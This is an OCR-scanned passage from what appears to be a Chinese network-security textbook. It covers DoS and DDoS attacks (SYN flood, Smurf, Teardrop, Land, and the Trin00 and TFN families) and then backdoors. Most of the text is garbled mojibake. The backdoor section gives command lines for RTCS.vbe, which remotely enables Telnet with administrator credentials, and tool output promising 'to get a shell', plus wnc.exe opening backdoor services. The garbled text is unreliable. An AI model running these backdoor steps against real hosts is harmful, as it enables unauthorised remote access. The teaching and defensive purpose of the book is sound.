1l i E LD AR TP HuhbAE MUt bt . A 1 4R 48 R 55 0 )R] K
FA IS BT FH A s e, B & SR AW & % SYN 40, Fr AFR B “SYN 2",

7.1.3 FaseEfahE
. AL RZREE

A 6L R IS 8], 5 15 JC 2% Y 2 12 2 RE 8 S PROBE I L (H 2 ] E &= 5 BUE i X I (F HY 5 7% i
R, HEINF 3% B BRSO B I BE (45 R GERENS [RI i Ab 3 B iy P 3% e . QM A H 2= AU i
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55« U/ N9 Ik 1 T RE

2. LB EE

AL B A5 A A . = S IR e ok [/ AR T s TP Hhb B AT P N 2 bk 1 A . 3K
AR A k24 SYN X2 XA - (H 52 G885 A 280 Hh 8 /D g W0 79 m] (8 45 00l & 9 4 3K 1Y
ISP #B 155 5 B 1o 5C B AT A% B el 2% 0 I8 o 4R i) T B 0 O Y S L O AR B e A A BN LR
T Oh 2 U5 1o hE i) 4 28 ik 55 250 A RE 1 A 280 BR AL 980/ g B0 Y AT RE .

3. TEEMIEZE

PRAT 1Y P 28548 25 S50 B0 A IR TP Hiuhb 95 474G A B9 AL - [3] IF o A B 4838 B8 N 28 AL )
PRAL iy AR 0 ML A5 A IR IR P S AR A ME . 1 ELAR 22 50t 3= Be A 2 #1) B A I 2%
IS date B o PRI o X6 2 A ) 28 A R 25 4 1 1 o e

4. ERBENIE

MAEZ ] R H Bl K5 = o S B 12 B R G HOR  RES AT R b Bl v SYN XU X i, [F]
DR IE 1 AR 4 19 P RE

5. ElEM

B 7 190 2% 1 O 37 A b 42 5 M AR B » axX S R 22 s 0 TCP/IP i 1« i B2 0 {5 15 il
SN T i R = O - 1| D s R D I R ) €3y LA

7.2 Smurf X ik

Smurf Bali I L ¥ A& 83X A Mo i 82 5 Smuarf SR w44 19 o X R BGE RS S T
[P 35 G 115 A T 4 3k (19 TCMIP CHL B 99 42 i) 5 5, IR 1800 175 2R -y 1z 325 il R o 99 265 4% B 72
Fr Bir AR50, 518 Hir RGE R4 R R RGEIEAT IS @ T [0 4% fd 0 8oty Jr a0 AT ] % 4%
2 5K R AL A SZ 47 TCMP 35 3K -0 v, 19 4 265 352 40 ml e RN 3X A o 19 H #r

7.2.1 INEFHFFE

ICMP P IR AL SRR SR B F iR A5 S (i W 268 3] 28 8 75 55 I 268 1% i 1) f81) , IF 22 4%
Hil5 B . [ ICMP 3£ 212 W T L5 R 2% [a) @43 A T2, ml LAdE ] ICMP SR 3CA Il & &
PLZA RE Gl % UL ping 2 SE B P Z BRAE R M M 40 M Al & T izar <. Bl H
prEHL D % ik ICMP echo 53R, 415% D s iz i K 40, 2 & 3% echo Wi 4 75 4y (0] 2

7.2.2 [RIE

Smurf J&—FARd Z 1 DoS Hrili o X Py A 17 1 Hohk L 7 % bk R BGE HON
0.t . 192.168.1. 0, ZE—"1A N GBI L b, M H i — & FHL ) 7K ok & i%
1 1KB K/ ICMP Echo Request B, I8 A BRI 3] N KB K/hi ICMP Reply. 415 N
RS R ENHEBOZ VL, i A 2 EOZ M 1Y Bt A E LA X it ICMP Echo Request fE i 25
2L BHZE ) b R L ERCE 32 FE FEALRY TP, IR A B S R N B R — Ik B 4
AR5 Yy . Smurf W5 9 i /& b Ping of Death LK 89 & & H— P Z0& 28, 1 H 5
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Bl .
7.2.3 WHEITHHITE

Smurf i 17 M SE MY S =R . Boli & (Attacker) . HE]BE 55 X 2% (Intermediary ) #1
Hr % % & (Vietim) ,

Wi BHIE — 1 1 CMP echo W& i >RAL, HE ik Oy F A5 52 55 & ik, H A9 e bk oy
(6] JfE 55 9 28 B T 36 sk L IR KR 9% echo 18R 40 A& % B v (8] JfE 55 09 2% .

Hh [E] [ 55 9 2% R B9 E AL 2 X 4> ICMP echo 5 RALH] . 25 DA echo W i A2 7E Sy (8] 2 1
XA R A R R B H AR HEE . XA AR [ I 3R [ 1) echo B b 250405 0 4% 38 Bl H A [ 2%
PPEHE EU. LR AT HERS .

JR A% b ) Jfs 55 I 2% (LR 3 3k 15, Bounce-Sites) ¥ A 8 Fr b 52 3% (B 52 Fr I v fa] 9
ZRIAIRE N 52/ 7 kRt 2 ™ H S, RFE R e M NI RA S IET
) 5 A A 2R TR M 28 i . Smarf s 19— > LB MFR N Fraggle, B9 3 i A [[] 85 7
T 5 & P Z UDP echo 14, mA & ICMP echo 11,

7.2.4 S

i Yoy & A T 9 o T1 A9 R i — 2 9 417 9 (768 Kbps) & 1% £ i 1 echo 17 3K
B FA 8 T3 a8 Bl #1 B2; R Bl thf 80 5 E4L,.B2 gy 100 &5 EHL. B4 Bl
2x77 1 384Kbps X 80=30Mbps [y & H4 Wi f - B2 4 23 7= 4 (384Kbps X 100) = 37. 5Mbps
A L s e H bR sz FEE B K2 30Mbps+37. 5Mbps= 67. 5Mbps B it .

EN ! AT IR Rl 1 N 3 A 2 R N7 K (S 6 I ' a1 I N7 o s il G 4 1 % P SR TR )
Internet {19 3% 2. 8] N 25 F1 H i 52 35 E LT 7E 9 M 28 MR RE AR &= 2 /) T B . B 3 M 28 A A]
H. XF%d 5 Ping Flooding il UDP Flooding A9 J5 FRAH{LL . 1F 23X F 7 i K fig . i
e HA EmAIGE 1. MG 2 & s 2% F R &Y Rk Mo 5 R R X R 4%
b e nl i 2 Ak i 7-1 s . XU FENGE MOZ LR = AT

B, Bk R R ALY bk & % — A
ICMPE i F)echoiff K Bl . % B HE Ut {h

itAak210.25.82.79
NS R RERA . 10.24.5.0

it # [k R DE_@ DE_@

2 - s
110.24.38.0 . P 7,40 il i T
& #
- ”~ s /f o -
&
’ ﬂl:ﬂ L I:IEI:I
a'j o
-
- R - -~ - &
F f'.i.’f’fff’f ‘,J’H#”‘r" .r,-l' ,f"

fffff

- — -
= —_—
— =

210.25.82.79 =W, |“]gﬁALﬁjﬁﬁ’f]£ﬂLﬁlg|”} iZ{hisE
stiak R [alme R . 1% = BLIR 55 by

B 7-1 Smurf I 3531 18
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1. % rhiE o 2%

BiC E A A5 1k TP 7 RE A 0F I, 7F 3% bl s 09 B A o O OGP TP TR i % i s ol
AERY T OO0 T « 76 W 2% 34 L A0 A FH 177 1] 428 il 91 #¢ (Access Control List, ACL) , i JE 45 Fr A H #i
HihE S AS P28 ) 7 ik Y 60 s A 8 Y v A E 55 R 28 L X T A PR AR o il 55 i 4%, AT DL AE
56 AR L3t 38 5 BT AT U5 b R 2 A ) b bk i e 4 s B E AL ERAE R S (0 HUS i )
it AT ik k) ICMP 41

2. St BREESR

BeA 4 fa B0 i o TR RERE T Bh 52 35 0L . 2 Bk & 2B i) PR B8 B H T e )
28 1Y B HH A APH 283X 28 ICMP iy 4 . {H & 32 5 = ALY e el 4 132 55 £ AL ISP 2Z [8] Y 44
£ N B N 1 P AT I 1 51 Il e 9 2l ) Y 1 R e SO 81 s ll = R TN I )
P o8 TSP 2 B BE L X 26 0 &

3. $tXt & E W& B E K H WK

Smurf X 7 18 H 2> 8 89 2 I8 b hE & 3% echo K. 7R B B 2y D E H G B
11| S o = 1 a2l B N TR O 1| o N = o S o LT R | W R S - Ly R = 2 N
KPP H9 5 09 62 20 RE AT R4 P IR He o 2 A 1 TR

7.3 FUNAEPRRR P w R T B

-, )

SYN Flooding 1 Smurf Y #H TCP/IP Ppisl b i % i1 59 40 8 2 5847 51 A K (1 9
25 ARk 5 A 98 38 0 B AR 32 F EMLIE 48 X IR R IR 55 SR 2k T . R TCP/IP Ppid
S PR F ) A PR R R T It B R R U e B A0 Sk Y — S i B B X SR
Y TP 0¥ 0 A&k 25 .

TE F2 WOEAI ot o iR 35 2 7 38 5 #00 A AE — 20 (o] 31, KT T 7 K 42 Wi 38 %) 2540 a0 2 2 il — > 5
A1 B0 0L R o 2 0 R G TE L A 0 AT P 0 0 R 5 . 3 4
& NHIE Ping of Death, *3 i + 73747 Y Teardrop My M1 Land By,

1. Ping of Death IX i

B EMERE - KEXKT 65 535 F3 (AP il Ml & & KAy IP a1k 65 535 4~
Fiping UK ZU L LB BinzFEV.H T HBEV RS 27 LA B Kmy
£ AT 5| S 2R 48 A 0t HE R s . H AT A iR R T A A A e B AT 7B R BT K

2. Teardrop IZ

— 1~ 1P Jo- 25 7 W 25 v A% 3 (9 BF 6 o 1R T Y 3 25 A B it Y e KA B 3 O AN () L 5 A
W2 TP A b AT o0 21 BIRF — A0 20— 28y Be s (5 B B AR A2 05 /1 o LA 3 1 35X 28D A% 11 B
o B R BOR A A 258 Ry TP 43k HORAR 0 I8 2 A e 90 19 40 Sk A [R] s — AR i AR 1Y)
ANFRAE T3k Pt & A2 i 7Bt Co BJR 25 7 BORE W 25 HAY 34 20 57 5% 7 31 H 9 3l
15 H 1Y i 208 25 1 A Bedb AT A . X2 Frig 19 1P Ay sr Bt $ R . Teardrop H iy
gt A H 1P G 70 Be A SR 1E RGeS P iy — i ik
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Teardrop F| ] TCP /rBeEH NI — R, EH 0B E BN, Teardrop f#
SR M AR S, R EE A RS B TP Wi A /N T — BRSSO R AR
Bz IP A1y Data, h AR o 56— B R X EERNSE . FIHX ATl X 55 EVL & 30
fEAe il 55 Moty A S EHWLENL: ST Windows 2SS 8 KL, IF 58 STOP
0x0000000A 5% .

R i s Xz W B B BCE L R AT s T BB A Y B e B2 i (Offset) 22 5
Ak .

Rk INRGE AN T #2725 570003 i 9 25 9 B B0 A0 38 6 X Fp X dE 17w it
JSA] R R HH e 9 #8AE FR 40 . sl 7E By koa L E o Be E A Ui fg i By ko de e U B [A] — IR
W T AR B R R S A TAE. A2 B8 & B kohs bnl DL B S
PR S o B e ok g R0

3. Land If

Land /22— AR SE T B B X Y150 i AT iR ER 0 18:4E R G2 S — a1 B A
R A A YR B RE ) . BGEE R HInZ FE RGN A B R ECRAEER . T HR
%% R gt BAA T il A S PR 59 AL R 245 Ml R A T BGE L2 .

X A A 1 s A TCP/TP Ui s 2 rb Y &b BRAR Fy 5 1% 0 47 ik o DR e AT 2808 B
PR B AH Jy 5 A S L R TS TE 155 DR 0T SIS BGX S 5515 . 7 Al B T B, RZ 1)
TP AR AE &4 [n)

MK TG £ E 25 T8 S 7 S ol 44 114 I A 0 B 22 M 2% 22 4 [n) RE, AR T 53 FH 2 4 G R A
Ty, 4 T 43 By 0 2 3z A7 s el RE BRSO . [] e I S i R Ry R AE T RE I 3K L N B 22
% e A a] B, PR A O, W TR AE BT B A8 R AR A 4 B IR AR L e AR Y
Jii i 9 4 T

7£ Land i, SYN A0 A (74 5 b bk A1 H AR H ik &R 9k 05 8 A — A R 55 25 Hudik o 3 1sh K
SEPEAZ RS 2R A O L& 3% SYN—ACK B .45 xStk ¥ % Al ACK 1 &
HOIE— 2 L B — XA E AR A BB e . AR A HRAE R S X) Land 1§
A R AR, 1 2 UNIX R Ge4% i 15t . M Windows NT 4815 # H g2 18 CR 29522 5 4
B .

7.4 A RAR AR I5 Sl

DDoS(Distributed Denial of Service, 4343 =030 48 ik 55 ) Bo s » HA 535 A FH 2 &4z A JF
FE il i FE AL X I — FHLR R B 0 & ARV A T RE R A B blday . TEEK
1) v 1 s LT s g B9 EVLS R R R A RN Ok R IR 55, AT 3k B He ik i B Y.
SR B 33 o A R R A R i EOE DAY .

7.4.1 DDoS B9%F =

A A AR 28 i 55 BC 7O RF a2 el — 28 R B B AR P BCRE ll — 2 s o Y ik 55
fr SRR AE IR U IR 75 A D& S MGl b AR AR & BA A 2 LT Al iy 7y X L — 1
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i B PRSI 7 o FEEIR A1 98 1 XS FOR L BB 1 E AL SRR DU I mRE R . o
A AR 48 R 55 B0t 52 AR A Je o i s s b T HL R PR R o A AR XE R ) AT . DDoS

ZE F T 7-2 B s
Efwsﬁf‘a

fe s
Ifuﬂ‘m E
EM [
H— 8 S ——

{CEH I

o 4 rm /

l
E (B g
i E

& 7-2 DDoS 1) 45+ &

7.4.2 IEFHEFE

Wil BAER P oom R\ #2 . B 4 0w (Handle/Master) f& — & B8 0 & A fz
Fistr TRERBRF RS E00. 84 £ 45 v L6898 35 i 22 Q3 5w (40 A ¥, Agent) .
BACHEmBEZE — S E A RIF e T M E BF i R VL, 2Tt 240
CH v (3 A S ) BE 9 [R] R 0 17 0Tt iy 2 5 1) #0580 H A 35 L& a8 4B 448 il 55 MO Be (2. 1K
i B SE A R Oy MOy B> 4w > a0 A > H AR FAL. & 38 DDoS Bt 7 M LA R P
ES

I KA BB B

TEZ BB Y F M A 3 T ,ELHT*?:L_EHF‘%IHL IR BRI R A7 T B S 3 X
$6 I ML A FE AL . %2 %% DDoS AU o (3 A v ) . X 2L F L2 DDoS W% FH & . HAIb
A DDoS T HEEW A & 58 M 5w Y AR

2. K#4E DDoS I M E&

1Z B B RP 3 1 = 2 o A B 00 AR ) X H AR 32 35 AL &I RO AR E 4 iz 55 et .

7.4.3 IWHIEHE

DDoS b EZ I & T B $5. Trin00. TEN (Tribe Flood Network) . Stacheldraht
M TEN2K (Tribe Flood Network 2000) .

1. Trin00

1999 4F 6 H Trin00 T H B, [F4E 8 H 17 HY i v EEB R Thik k=, 4iiZ T A
A T2 227 A FHL A4 H AL . B A xS S AL IR JE AN W H % 2] B JE 75 38 K S 1
e 55 2% - 8 i H ) 2% ™ e . Trin00 | =3 402l il . & P o (0 30 o 2 45 o S 0 A Ui
ACFREE) . fCHREE M H AR 2 E FHLE LM DDoS #342 UDP # 3, X 864 S 8 M — 4o 0
R HEEEVLH ZE S H b EVL E A w0, H AR FE VL B — A e 2 — A4 ICMP
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Port Unreachable AJ{5 B, K3 A [A] WL [F] B & 2 0y 33X 26 718 7K % 09 iz SCfE 45 3 dr EHLIR B
e .
2. TFN

1999 4 8 H TEN T HIH ., Fwl.iz T HIEF UNIX 24 . £ 0 1 ICMP Flooding,
SYN Flooding, UDP Flooding # Smurf ¢ ZFp Xl Jr X, i f2 i 75 TCP ¥ 11 26 € 1) f
247 root shell, [AJIf, TEN 875 & S8y & FEIE T, RVF 3G LA root B U5 0]
X & ¥ F I PLEE . TEN(Tribal Flood Network) i 3 5 v £2 ¢ AT PR o F2 5 5 3B 43 41
I, B BRI Mt Uy . SYN X2 Ping X2 . UDP £E 58U Smurf, HAT {h & £ (2
MIRE J1 . TEN & —Ff B AU i 45 46 flig 55 F2 77 . B 19 B Y i PH 28 W 28 & LAY IE F {5 , 15 3]
FEE H AR 2% 0 B Y.

3. Stacheldraht

1999 42 9 H Stacheldraht T HH ., % T HELE TEN @956l FIF & k. 3454
1 Trin00 W%F . BPER Trin00 — B BHAT 3 48 v AU v 167 68 AT TEN — ARG 0 1
ICMP Flooding, SYN Flooding, UDP Flooding #1 Smurf % £ # X i & X. [ &,
Stacheldraht i 5e ik 1 TEN B SCEAR #9559 43 78 B & 5 35 458 v 2Z 18] 5% FH 00 4% 46 ik 8 {5 AL
il O F 538 S 2 AR RD L 3F B A 3 FH RS DI RE .

4. TFN2K(Tribe Flood Network 2000)

1999 4F 12 H TFEN2K T H i, &4 TEN (19 FF 28 b . GE M Z A4 T %) a4 5 24 H b

(1) = 458 v AR B 0 22 (8] 0 47 00 286 4% B H: 8] 38 VR 2% — S % AR AT Bl bk 9 R 5C i K
T35 B 2K 2K B 19 B4 1 43 A A0 A0 R T

(2) =45 v AN B v 2 (6] 719 38 15 AT DA B AL b BE 35 A8 [R) B 0Ok 5€ i, (TCP, UDP, ICMP) ,
£8 78 o A L Bl L 3%k R [R) 9 1% R B (TCP/SYN, UDP, ICMP/Ping  Broadcast Ping/
Smurf Z) %k Wi BFr2ZE F00. HiE TEN2K 182438 & 26 — 69k 2 32 e o4 . M
M- BCH PR EVL 0 AR E L 2 i

(3) A M\ 3= 4% v w4 2 g & 6+ A AR 0 ] TP b hl 39 B Sk 7B D6 3t k-

(4) 5 TEN AR, TEN2K 948 B b 2 5 S UTER 0 B A ok A FiEm w4 . F1%
viig 25 W B A A H A R IR 20 I, — Mt 0 S AR s Al DL & DI B — Oz A .

(5) 5 TFN M1 Stacheldraht A[[], TEN2K g4 A TFEMAFHE N, Ha4 g
A <id>+<data>", Hip<lid> K —PF . Rt —FEm L, <data> LR Zm 2
8. A a2 8 LT 240119 CAST-256 & ks (RFC2612) 1% % 58 7 4 7 I
i 58 I AE s 17T1% E 38 im0 2 1
7.4.4 DDoS Y%

MAEM b & H] DDoS Jy A7 W 8 & H 3 2 . RN 2 A KB 23 A C 5% 31K
T A Gl 8 215 FE A9 2 L A I DDoS Yt iy B A UL T JLFN,

1. RIEFEBRASH

000 2% 114 3 {7 B 28 AR SR B Ll A PR 0 B BIRAEL B L — s R A R I I ) Y A



150 it A LR &g Ay i AR

G MM 5 —45r e RS S 2R Mt W E 2 i E; M AIMA R KA TCP #1 UDP
B A0 i BB e L N S ] BRI R A, R, Y HLAR BRI O R 0 B X B
Vi S R NN

2. {E A DDoS ¥l TH

G F AR G PR i At S 2 i R g lail BT b fy— 2 R 25 A 1=
wil &gt . Al AR 4 Bk & i AT o0 . Jibh . — e g TR ] UA B EGE A ARG W
RERARFY . IRl LS E N R G Bk .

7.4.5 DDoS & &5 BB £ 55 B&

H T DDoS Y BA Bt . [t B H fi 4 1k 38 A8 %A A& B4 DDoS X 47 2 A1 4%
i o i . FrAFRATE g L 2B 2l e m N % R L ek, nl REU & 4 B 1H
AT AR JLAR .

(1) M BERRRGEHFAANI LR L2252 R4 T Bp ., X—EEZER (fan
ARG E AR O AL ASE B & AL . X — SRR S5 (] 4n 48 B 5K 5 10 B i I B
L. 38 XA — R G B2 4 a] DAE X 35 0y ] 3 Z AILRE A 3 2 /)

(2) 16 M2 By i, B8 KA REE MY IR EE BRI SE A B 1y N 4% il 55 . EE 7
R R R R O Z R ERRE . £2FENRAKEEER . FFEERFBRNE
4 H A,

(3) F) FH 0 4% &2 4 28 (A5 40 7 K 538 ) SR I [ I 2 14 4 442k TE B 4 e AT ] ) &8 4 R ) L 3
€45 B A3 R RE 1) 00 1 s 4L

(4) Fb G 1Y B A0 45 it 00 2 AR B9 I 28 ik 55 i B2 i i 0081 1A S ok At AT 5 B R 55 B B el
U e 4 ol 800 6 77 9 o 17 BIR i

(5) MR &M A & IEAE#E 52 DDoS Hali i AR 24 I3 3 3 & 1 WA 56 i, S ] GE PRl GE
B A0 IF 2 S TEE R ISP A C 0 2 2] 21, /0 A 32 52 IR Y R 40 L i o o0 g HL Aty o
AT BEL 4% 8 290 5 39 A A o i

(6) R RIRZTETER DDoS il %2 % 3% . MR &8 A & i3 5 ML ok 2 & A A8 4% v
A B w5 55 o AR AN BE XA VR 19 R 0 87 I 1A 32 3 40 35 T 4 LSO MO 3 R AR R et T
I 3 X R I R G — R KRB . B DL — B & B AR G P A2 7E DDoS Wi i) T 2R 2
KEHEE ERR R T E R,

] & 7
— . EHZ#
1. DoS ¥t iy H Y4 . HE UL DoS Mk 2 Al
2. SYN X # & F Bt
3. SYN flooding Hiy B 52 ) H B iy 55 A
4. Smurf WSS H T A
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5. Smurf WH4T MR E X =1 T0E . . ZEl .
6. DDoS 14 o i1 i 1/ K - . . Zal .
— . EEE

L B SYN A2
2. DDoS X it ) By 180 A W S 1 4.7



IR U E2 W EST 58

J& T AR P — S 5 I8 2 58 3 22 4 4 ¥l 1 % HROXH2 Fr al R G U5 M AL A R T . 6 B 1
% BB B e 0 W S AN RN & 5 TR e U T DUE e R e i it iy kg . {H2 . o
SIS J 1] 4 HL A N R B3R A R A R 2 i A B R TR R IR A B R 1 A A
B« 2 B W R 4 IR ] 2R A7 A

HERAETIEFERIEARGEW BRI Z MG ETT. 51T R Bk T 6
PRMIMR., RERAREGHE LM ST 51T BIE 1Y 53 A % A 352 —
(1), 1045 PR BV T IR I A AT AR 0l 22 Ak

8.1 Ji ] 2 fif

8.1.1 IFITHEX

[ I TRRT RIS IROR 5 HR s e iR A il b AR R Bl TR RIEAR
TAE. JETTFEF A s &R K20 ETFRINEFA—EA ARE G 1E . it s
TR AN — i 2 B gy HAth o i

FITR—FIERRZEN L . EAMELRECAHN LR E .M ALEHIM RS %
i 5 119 22 4

FITMRiRBEE R AR 2K, MANFITATRRZ2E Y -k S, o H
B — MRS s AWM ETT (G KRS AT HE S 585 &R 5 & 2 GE T X R 5
A LA, Fl—4 login B J7 . VR 55 A e 19 %5 15 05 50 6 LLAE 21 51 9 A BR Ok 77
ARG

JG ITREAH B OCHE L X AR BV F 2 % e fdi . ) a0 . SR T RE fif FH 2% 0 W Ao — 1>
WEZNRTEN  BREARSET TN KS ., —PREVUERXNRE BRE A6
{iff FH — L 5 AR 3R H R G 09 5 A Tm TR R B FHALRR . B % Al e &4 &R 48 i L B SCHR R A1/
BN, IR R RGP DHERE: Al LR - M ARKDRBF . HRZAET I 1L 2l
. UF FREERERRS.

UL b2 X6 5 1717 i R, HE s IR AT T LA AR A7 B ) — )i R R 46 . R T T2 B ATt
ARG A B R R OR 00 ] JF il 2 S A ik O KB RV R S &R, REBAR S H
A RE A TR EB IS TR A K45 B 2 1 A HL RE .

Ja ITRERY , BRIRATE % Fr il i K S A I R A X 3],

RARAT . ENEERREAEH P RGP b k% E R A S A — @R . g F
TEFE ML A XA HL A 2 il

X TET : RS2 A5 E, ma AR F /s B D) RE AR AR 3 — , 1 L 7E 9% 7 1
2L JE T T—# A Backdoor 24 AR D — i W] & Trojan FFFE
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8.1.2 JFIIHo £

Ja 1] LA BEAR 22 7 Ok 028 s b fEASTA] H AR 2028 AN [R] L O 1 8 1 RS B . FRATT AN
PR D R IR TR e 0 73 285 i

| A =

R G T TR T — R RS 25 IR 9 Web IR &M 1E A Oy, e+
ATy ASP\CGT A S 1155 - B A QR i B 52 v BH D0 s » 98 P D03 2 68 A2 AF 4 58 K
), M HARZ AR

2. ZEBAEI]

MRS B B 1Ak 55 508 2682 ¥ 5 T TR PP 4 A 2 v X R/ s T T ds A7 i 30A 1E
T2, T A7 2% 15 A Yoy 4 A 3 H At 0 R e 9 AR v Se il . Ui S 0, RSl 52 4 il i 22 2 1) By
KA A R TR U5 R AR (2 RE - o AN BB X X FE A J5 1074 2000 0 5 R 42 4 sl
XF 5 B Bl K EE I [a) B2 B 1 o DRI DR 6 B B A R b A8 TR HE L SX R TS T AR B 1 T RE b A5 o L AR
PE A A /NS B BITS, i S H . Windows 2000/XP/2003,

3. FEREI

FTiE Y " RA5 T RE LA R FET . o8 i B — D RE A Ja 1) A 58 5 8 5 1 .
i = _flziﬁﬁix':éﬂf’ﬂlf"ﬁi’%F’I’JIJJﬁE%ﬁEﬂ'J/J:I‘Ji-pi[iﬁl‘]@.%?iﬁﬁfuiﬂlm
ZUe. FEEHEERASSRE RS . XENETTER Z0FE W EZ 08 W 2l 7 30
PAL/ FE R G H PRI  HTTP iln) , 2055 % % :"1#;Dﬂﬁﬁ\ﬁzﬁ]ffa‘%ﬁﬂ:ﬂﬁ%%mﬁ%?4&%
SR/ T A ThEESE R.BEEMAEE 2w WEZ 6. & &5 FHH. RN
fF 2 WinEggDrop Shell . FHJE . Windows 2000/XP/2003.,

4. C/SEI]

C/S Ja IR AL Gery A B 38 e 3 0L iy 4% il 7 ik . & P i / Ak 55 i B 44 i)y =X 38 1
YR K € 097 18] Oy ROk S e T THE 4% 6l ik 55 4% . A5 b a3t & ICMP Door | . XM 5E
IWJFH ICMP 3 i JE 1738 A5 - I A FRAE A o 1 . 22 F H R G A S 1) ICMP 4 9 17 458 il %%

KWARG WG G VLA izt Al AgE B R Z 0 kG R BT U AR ENR KRS A
TR A 3 1, Had o ICMP $5 . F b T AT — K 5 1182 e A B, & 0 958 il Jr X2 1R Fe 7k
[+ 3% 80 ¥ AR A I FF I - (8 e Fl : Windows 2000/ XP /2003,

E AW IE TR . E /4 m Windows Update, Windows Update B sh g A48 F-LL T
=N FFOLEE H Bl b RCEORY IS K H i B0 O 2 A 5 s DA E AT Ak B . R S i
Windows Update 2 F5 18 HI {5 H & & &5 A 2 200 5 5 09 SCH DL S anfay 35587 . an SR 3R A4 xF

X BE B AE VEAT 20 A . T TR ML B 3hid b RUR 55 09 shAE 5t 2 5 T TR e R bl b iy “ 3 AR .
N L ER R A E R ARG RY . Ik, BRI E AS I ENS AR E R .
HIn B LT Windows Update K470 Hrngi& . w2 & e 0 2038 4 A I i (5 B4
REUEATHRAE, Fr 2238 HOE 4 THfLEF R mE .

8.1.3 {ER"IKA"AKLHITIZIZIEH
AR A NetBus i 21720 K" ARy \PCAnyWhere I F2 42 i 55 . FRATT (8 1Y
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e MR WA SRR oK oKl L S AN R S s — A AR RS A e . T —
2. HARLIRZ WA 9 TS =1 1.

8.2 Jul 1 T HAfEH]

8.2.1 {EFH I E RTCS. vbe FF B3 H H Telnet BR %

M EVL L/ Telnet g 55 A8 B 535 650 ] DL 5% 20X J7 /9 a2 47 » JF W7 $84E XF 7
SRS, W Telnet M55 2 KA LA REE K T .

FH T H RTCS. vbe a] LACFE g XF )5 19 Telnet 55 . HiZ T H T ZAHEN Jr BA
B G ALBR g P 24 FVE A

e 4. “cscript RTCS. vbe 192.168. 1. 2 administrator 123456 1 23”7, Hirp

o cscript EPRAE R GL H A 1 2

« RTCS. vbe fZiZ T H A A SO A4

o IP Huhb 22 )5 3 Telnet 19 FE ML HE

e administrator &£ P 44

e 123456 &%

« 14 NTLM & {5} 551E

o 23 & Telnet JFik it O

A2 AR X 28 19 T B L SR T 1 I e 7 2 — Bz I 6], ] DL 3 e 72 Telnet Mk 55 . an ] 8-1
Fits . PAT5E UG X5 H) Telnet IR S8BT 1. £E DOS 2R 75 F ol LUE & H b E 4L
i1 Telnet AR5 . & 9ckn A2 “Telnet 192. 168. 1. 27, [A &H Telnet {1 H P 24 fl1%25 54 2 B

C:\WINNT Systern 32\ cmd.exe =100 x|
B
:\RTCS>cscript RTCS.ube 192.168.1.2 administrator 123456 1 23
icrosoft (R) Windows Script Host Uersion 5.6
ERAUBTH (C) Microsoft Corporation 1996-2001, %8 F# fUH, J

1 o o e e e e ] ] ] e ] e ) ] e e
TCS v1.08
emote Telnet Configure Script, by zzzevazzz
elcome to visite wwuw. isgrey.com
sage:
script C:\RTCS\RTCS.ube targetIP username password NTLMAuthor telnetport
It will auto change state of target telnet server.
] e o D D e e e e e e D ] D D ] ] ] ] e ] D ) D e e
onneting 172.18.25.109....
K1
etting NTLM=1....
Kt
etting port=23....
Kt
uerying state of telnet server....
hangeing state....
Kt
Target telnet server has been START Successfully!?
Now, you can try: telnet 172.18.25.109 23, to get a shell.

IC:\RTCS>

-
| | |1

&l 8-1 iZiEF B35 K Telnet AR 5
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L i 1 e A R 25 BXHEHE . Al 8-2 fran . Hi A Telnet B9 2 4 B, 1 A
Ty A Telnet 19 8 5 H . 75 24 A EVLH P 22 A&, ﬁn@l 8-3 Fi/n. %%k
Telnet Iz %5 %% . WS 7 22 FUE S BA F%R 8 E A T EHLE 247, &l 8-4 firan, H
A 2P BRE 25 9 3L g — 1 L.

C\VWINNT ‘w.ultmi ll'!lll!lil I_r-_l:u_l!_.f_]_ﬂ!':llll .lnl KI
icrosoft (R) Windows 2000 (TM) i i.]
Ui {# B Microsoft Telnet Client

Telnet Client NEfI A S 5.00.99203.1

Escape FTf A 'CTRL+]'

CRERETHFEE Internet XEFHIZIZVEI. XTHRAZS. EELERE(Yn): y

B 8-2 WIAXTIRHE

v Y WthI byglr-nl.ii Lmd exe hﬂutl ITZ.IB.ZS 10‘5

NTLM Authentication failed due to insufficient credentials. Please login with
clear text username and password

Microsoft (R) Windows (TM) Uersion 5.00 (Build 2195)

lelcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login: administrator

[password: xxxxxx

‘| | bz

E 8-3 ARZMZFEEFR Telnet

M WI‘*'H System32) Lmd exe - telnet 172.18.25.109

Bl 8-4 BRI

* AU . NTLM & 4 3 4E

NTLM & ibiEik A = AE.BKIAAZ 2. THRGIEAA VLT LA,
(1) 0: R4 8 NTLM & 4 B4

(2) 1: £ZFENTLM FHBiE. R EK.FEARAP LPEH,
(3) 2. R4 A NTLM & # i
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M TAERAZTRATAT LA H . NTLM 52 DL Y5 F P 9 B 3 1a] Telnet Iz 55 2% & 15 5 5K 15
SRAY - WA FAR H S A IR 7 T30S 2 5 a0 SR 2RO 2 Bt AR IR B S & 0

BN F UL ARFRIPLES N ACKHLHLES) R B SERUHLES 2 A BOGEHLHLER) L AR TE
A K P2 ABC. B2 1234 ,R7E B YIRS XYZ, B2 5678, 4 4k4H Telnet F|
B i, NTLM ¥ 3 2h DAY 55 H P 60 0K 5 50088 05 0E 0 5 S Y G4 e iE 175 5%, B ABC A
1234, M AE R EBEFZKS XYZ 1 5678, HixX SLHR 2 H 3552 iU PRI IR 0 8 S #81E
W5 W, R TR AT 7 B NTLM i (E S M 0 8iF 1.

8.2.2 {FHIE wnec FBXIFH Telnet Ak 5

i T BB wne. exe °] PAFEXT B9 FHL EFFIE Telnet iR 5. Ho Telnet IR 55 1Y v
02 707, BIAEHERIEGESHSE 9 w25 8m—=1.

TEXT T I EAE 255 T $U4T wne. exe, WA 8-5 . Al VL& (SIE&EHEH ARG
AT .

VA WINNT System32 cmd.exe nlgl x|
C:\wnc >unc .exe -
C:wne>*R

-

4 | M 4

E 8-5 # 37 Telnet iR 5%

Al PIFIH “telnet 192, 168. 1.5 7077 fig 2 8 s 2 X 191w 247, AT I & 8-6 Fir
No AN LA 649 H P 2 s mk ] DL S R0 BV A5 247 - W IE 8-7 A

°|C:\WINNT\System32\cmd.exe = -0 x|
Microsoft Windows 2000 [Uersion 5.00.2195] fl
(C) ARANFTH 1985-2000 Microsoft Corp.

[C:\>telnet 192.168.1.5 707

«| | vl

B 8-6 BRX7ITEMN

8.2.3 [FHTITE wnc ZirifEEH A Web IR

T B8 A wne. exe Af AFEXT A EHL I IE Web RS . H b Web iz 5 19 im H 52
808, EIRMEHLTIGSHH 9 5Ll —+,

